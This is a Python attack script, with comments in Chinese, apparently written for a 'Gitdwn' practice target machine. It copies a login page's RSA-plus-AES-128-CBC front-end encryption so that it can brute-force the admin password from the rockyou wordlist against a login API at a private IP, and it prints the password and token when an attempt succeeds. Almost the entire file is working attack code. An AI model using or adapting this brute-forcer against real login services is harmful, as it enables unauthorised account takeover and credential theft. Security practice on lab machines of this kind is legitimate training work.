#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Gitdwn 靶机 — 前端加密逆向 + 密码爆破脚本 ============================================= 复现 RSA 公钥 + AES-128-CBC 加密流程 从 Rockyou 字典爆破 admin 密码 用法: python3 01_login_bruteforce.py [目标IP] [用户] [密码文件] 默认: 目标: 192.168.1.118 用户: admin 密码文件: /usr/share/wordlists/rockyou.txt (前 5000 条) 依赖: pip install pycryptodome requests """ import sys import json import base64 import requests from Crypto.Cipher import AES, PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad # ============================================================ # 从 login.js 提取的 RSA 公钥 # ============================================================ RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q /fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6 z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt QwIDAQAB -----END PUBLIC KEY-----""" def encrypt_login(username, password): """ 精确复现 login.js 中的加密流程: 1. 生成随机 AES-128 Key (16 bytes) 和 IV (16 bytes) 2. AES-128-CBC + PKCS7 加密 {"username":"...","password":"..."} 3. RSA PKCS#1 v1.5 加密 AES Key 和 IV (base64 编码后加密) 返回: {"encryptedData":..., "encryptedKey":..., "encryptedIv":...} """ # Step 1: AES-128 随机密钥和 IV aes_key = get_random_bytes(16) iv = get_random_bytes(16) # Step 2: AES-128-CBC 加密凭据 JSON credentials = json.dumps({"username": username, "password": password}) cipher = AES.new(aes_key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(credentials.encode(), AES.block_size)) encrypted_data_b64 = base64.b64encode(encrypted).decode() # Step 3: RSA PKCS#1 v1.5 加密 AES Key 和 IV rsa_key = RSA.import_key(RSA_PUBLIC_KEY) rsa_cipher = PKCS1_v1_5.new(rsa_key) aes_key_b64 = base64.b64encode(aes_key).decode() iv_b64 = base64.b64encode(iv).decode() encrypted_key = base64.b64encode( rsa_cipher.encrypt(aes_key_b64.encode()) ).decode() encrypted_iv = base64.b64encode( rsa_cipher.encrypt(iv_b64.encode()) ).decode() return { "encryptedData": encrypted_data_b64, "encryptedKey": encrypted_key, "encryptedIv": encrypted_iv } def main(): target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.118" username = sys.argv[2] if len(sys.argv) > 2 else "admin" wordlist_path = sys.argv[3] if len(sys.argv) > 3 else "/usr/share/wordlists/rockyou.txt" url = f"http://{target}/api/login.php" limit = 5000 # 仅尝试前 5000 条 print(f"[*] 目标: {url}") print(f"[*] 用户: {username}") print(f"[*] 字典: {wordlist_path} (前 {limit} 条)") print(f"[*] 开始爆破...\n") count = 0 try: with open(wordlist_path, "r", encoding="latin-1") as f: for line in f: if count >= limit: break password = line.strip() if not password: continue count += 1 payload = encrypt_login(username, password) try: r = requests.post(url, json=payload, timeout=5) if '"success":true' in r.text: token = r.json().get("token", "N/A") print(f"\n✅ 爆破成功!") print(f" 用户: {username}") print(f" 密码: {password}") print(f" Token: {token}") print(f" 尝试次数: {count}") return if count % 500 == 0: print(f"[*] 已尝试 {count} 条... 当前: {password}") except requests.RequestException as e: print(f"[!] 请求失败 ({password}): {e}") continue except FileNotFoundError: print(f"[!] 字典文件不存在: {wordlist_path}") sys.exit(1) print(f"\n❌ 在前 {count} 条密码中未找到正确凭据") if __name__ == "__main__": main()